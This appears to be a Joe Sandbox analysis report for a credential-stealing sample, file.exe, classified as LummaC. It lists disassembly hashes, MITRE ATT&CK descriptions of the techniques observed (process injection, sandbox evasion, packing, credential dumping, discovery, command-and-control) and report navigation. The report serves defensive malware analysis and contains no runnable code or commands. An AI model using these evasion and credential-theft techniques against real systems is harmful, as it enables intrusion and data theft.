Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 009B7B47 Relevance: 1.5, Instructions: 1540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmp, Offset: 009B6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9b6000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c269c92804ffdf8e6d28a669a44313f723d22ecc48d65d5f683ba1602e31125
Instruction ID: 02c7dc8735a804ca44eae4723982cef70eb80eb7beec2acfbe08de475c3498d8
Opcode Fuzzy Hash: 6c269c92804ffdf8e6d28a669a44313f723d22ecc48d65d5f683ba1602e31125
Instruction Fuzzy Hash: FDA2997140DAC55EDB26CB748B96AE3BFACFB57770B1946CED0804F063DA20A806C791

Function 009BBCCA Relevance: .6, Instructions: 613COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmp, Offset: 009B8000, based on PE: false

Associated: 00000000.00000003.1555985418.00000000009BE000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9b6000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 556b561cbaa0b3bb2bea9726e4ce30728aab3de6373609a5543dfefe865bbf7a
Instruction ID: eba61cdf3a377c91e2c439b42c7790d6d4020051ac2194b253ce9a7cc2ca12eb
Opcode Fuzzy Hash: 556b561cbaa0b3bb2bea9726e4ce30728aab3de6373609a5543dfefe865bbf7a
Instruction Fuzzy Hash: 6642A99184E7C05FC71387B45DB9AA07FB19F17214B0E89EBC4D48B9E3E648592AC323

Function 009BBCCA Relevance: .6, Instructions: 613COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmp, Offset: 009B6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9b6000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 556b561cbaa0b3bb2bea9726e4ce30728aab3de6373609a5543dfefe865bbf7a
Instruction ID: eba61cdf3a377c91e2c439b42c7790d6d4020051ac2194b253ce9a7cc2ca12eb
Opcode Fuzzy Hash: 556b561cbaa0b3bb2bea9726e4ce30728aab3de6373609a5543dfefe865bbf7a
Instruction Fuzzy Hash: 6642A99184E7C05FC71387B45DB9AA07FB19F17214B0E89EBC4D48B9E3E648592AC323

Function 009C3FCD Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1555985418.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, Offset: 009BD000, based on PE: false

Associated: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9b6000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77e8532bb7407d3a5322674992fa975bcea83963daec28db0bec505cbce9fb9b
Instruction ID: 520e9d3be04d933ef29bfde92cad928ca6eb024f80bfb07cf8625457d06ce200
Opcode Fuzzy Hash: 77e8532bb7407d3a5322674992fa975bcea83963daec28db0bec505cbce9fb9b
Instruction Fuzzy Hash: 17319C22A4E7D24FCB27CB348875692BF60AF2732472D85DEC6C18A8A3D3255516C713

Function 009C3FCD Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1555985418.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, Offset: 009B8000, based on PE: false

Associated: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9b6000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77e8532bb7407d3a5322674992fa975bcea83963daec28db0bec505cbce9fb9b
Instruction ID: 520e9d3be04d933ef29bfde92cad928ca6eb024f80bfb07cf8625457d06ce200
Opcode Fuzzy Hash: 77e8532bb7407d3a5322674992fa975bcea83963daec28db0bec505cbce9fb9b
Instruction Fuzzy Hash: 17319C22A4E7D24FCB27CB348875692BF60AF2732472D85DEC6C18A8A3D3255516C713

Function 009C3FCD Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1555985418.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, Offset: 009B6000, based on PE: false

Associated: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9b6000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77e8532bb7407d3a5322674992fa975bcea83963daec28db0bec505cbce9fb9b
Instruction ID: 520e9d3be04d933ef29bfde92cad928ca6eb024f80bfb07cf8625457d06ce200
Opcode Fuzzy Hash: 77e8532bb7407d3a5322674992fa975bcea83963daec28db0bec505cbce9fb9b
Instruction Fuzzy Hash: 17319C22A4E7D24FCB27CB348875692BF60AF2732472D85DEC6C18A8A3D3255516C713

Function 009C401F Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1555985418.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, Offset: 009BD000, based on PE: false

Associated: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9b6000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: accb4ed274423d761c66c94179e1cfb51feb211d63af750e7807fc4023ed66c3
Instruction ID: 2483742d4f823804afbfb0d74a59fe1c255f912b4564af3953dad575212c90e5
Opcode Fuzzy Hash: accb4ed274423d761c66c94179e1cfb51feb211d63af750e7807fc4023ed66c3
Instruction Fuzzy Hash: DC31AC32A4E3C24FCB278B3888B96A2BF64AF1321472D84CEC6C18A863D3255516C713

Function 009C401F Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1555985418.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, Offset: 009B8000, based on PE: false

Associated: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9b6000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: accb4ed274423d761c66c94179e1cfb51feb211d63af750e7807fc4023ed66c3
Instruction ID: 2483742d4f823804afbfb0d74a59fe1c255f912b4564af3953dad575212c90e5
Opcode Fuzzy Hash: accb4ed274423d761c66c94179e1cfb51feb211d63af750e7807fc4023ed66c3
Instruction Fuzzy Hash: DC31AC32A4E3C24FCB278B3888B96A2BF64AF1321472D84CEC6C18A863D3255516C713

Function 009C401F Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1555985418.00000000009BE000.00000004.00000020.00020000.00000000.sdmp, Offset: 009B6000, based on PE: false

Associated: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_9b6000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: accb4ed274423d761c66c94179e1cfb51feb211d63af750e7807fc4023ed66c3
Instruction ID: 2483742d4f823804afbfb0d74a59fe1c255f912b4564af3953dad575212c90e5
Opcode Fuzzy Hash: accb4ed274423d761c66c94179e1cfb51feb211d63af750e7807fc4023ed66c3
Instruction Fuzzy Hash: DC31AC32A4E3C24FCB278B3888B96A2BF64AF1321472D84CEC6C18A863D3255516C713

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Windows Analysis Report
file.exe